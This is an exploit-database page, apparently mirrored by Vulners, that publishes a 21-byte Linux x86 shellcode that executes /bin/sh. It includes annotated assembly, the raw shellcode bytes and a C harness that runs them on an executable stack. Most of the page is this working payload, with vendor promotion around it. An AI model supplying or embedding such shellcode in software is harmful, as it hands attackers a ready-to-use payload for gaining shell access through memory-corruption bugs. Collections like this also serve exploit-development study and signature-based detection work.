Lucene search
K

Linux x86 - Execve /bin/sh Shellcode Via Push 21 bytes

🗓️ 29 Apr 2015 00:00:00Reported by novicefluxType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

Linux x86 Execve /bin/sh Shellcode Via Push 21 bytes. Shellcode for executing /bin/sh via push method

Code
/*
    #
    # Execve /bin/sh Shellcode Via Push (Linux x86 21 bytes)
    #
    # Dying to be the shortest.
    #
    # Copyright (C) 2015 Gu Zhengxiong ([email protected])
    #
    # 18 February 2015
    #
    # GPL
    #


    .global _start
_start:
    # char *const argv[]
    xorl %ecx, %ecx

    # 2 bytes, and both %eax and %edx were zeroed
    mull %ecx

    # __NR_execve 11
    movb $11, %al

    # for '\x00'
    pushl %ecx
    # 'h' 's' '/' '/'
    pushl $0x68732f2f
    # 'n' 'i' 'b' '/'
    pushl $0x6e69622f

    # const char *filename
    movl %esp, %ebx

    int $0x80
 */

/*
  gcc -z execstack -m32 push.c

  uname -r
  3.19.3-3-ARCH
 */

#include <stdio.h>
#include <string.h>

int
main(void)
{
  char *shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68"
    "\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

    printf("strlen(shellcode)=%d\n", strlen(shellcode));

  ((void (*)(void))shellcode)();

  return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Apr 2015 00:00Current
0.5Low risk
Vulners AI Score0.5
32